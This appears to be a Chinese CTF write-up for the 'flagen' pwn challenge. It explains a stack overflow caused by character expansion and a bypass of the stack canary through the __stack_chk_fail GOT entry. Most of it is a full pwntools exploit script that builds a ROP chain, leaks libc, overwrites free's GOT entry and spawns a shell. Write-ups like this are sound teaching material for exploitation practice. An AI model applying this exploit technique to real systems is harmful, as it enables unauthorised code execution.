flagen

題目
提取碼:g36p

ida靜態分析

找到sub_80488C6()函數中存在一個漏洞點。

      case 0x48:
      case 0x68:
        v4 = v15;
        v5 = v15 + 1;
        *v4 = 0x31;
        *v5 = 0x2D;
        v6 = v5 + 1;
        v15 = v5 + 2;
        *v6 = 0x31;
        break;

這部分代碼將我們輸入的flag轉換後會變長,存在溢出漏洞。
但僅僅有這個還不行,因爲這個程序存在canary,所以我們必須要解除canary。
在這裏面有個十分巧妙的地方
在這裏插入圖片描述
如果我們構造的payload合適的話,可以用 __stack_chk_fail的地址將參數給覆蓋,從而使得我們可以控制 __stack_chk_fail,去掉檢查。

然後還需要注意的就是payload中會有\x00截斷,所以我們需要找到一個合適的輸入函數。使用文件中自己編寫的輸入函數,覆蓋參數(注意\x00截斷)
在這裏插入圖片描述
exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']


elf=ELF('./flagen')

def input(p,input):
    p.sendlineafter(': ','1')
    p.sendline(input)

def up(p):
    p.sendlineafter(': ','2')

def low(p):
    p.sendlineafter(': ','3')

def change(p):
    p.sendlineafter(': ','4')

def addprefix(p):
    p.sendlineafter(': ','5')

def prin(p):
    p.sendlineafter(': ','6')

def exit(p):
    p.sendlineafter(': ','7')

puts=0x08048510
ret=0x0804846a
stack_check=0x0804B01C
pop_1=0x08048481
pop_2=0x08048b00
pop_3=0x08048d8d
bss=0x804b144+0x8
a=0x08048F60
read=0x080486CB

p=process('./flagen')
payload=p32(ret)+'h'*0x55+'a'*8+'a'*5+p32(pop_1)+p32(stack_check)
payload+=p32(puts)+p32(pop_1)+p32(elf.got['free'])
payload+=p32(read)+p32(pop_3)+p32(bss+0x100)+p32(0x6fffffff)+p32(0xffffffff)
payload+=p32(read)+p32(pop_3)+p32(elf.got['free'])+p32(0x6fffffff)+p32(0xffffffff)
payload+=p32(elf.plt['free'])+p32(pop_1)+p32(bss+0x100)
input(p,payload)
change(p)
alarm=u32(p.recv()[4:8].ljust(4,'\x00'))

libc=LibcSearcher('alarm',alarm)
system=alarm-libc.dump('alarm')+libc.dump('system')
malloc_hook=alarm-libc.dump('alarm')+libc.dump('__malloc_hook')
print('malloc_hook',hex(malloc_hook))
p.sendline('/bin/sh\x00')
p.sendline(p32(system))
p.sendline('ls')
p.interactive()
p.close()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章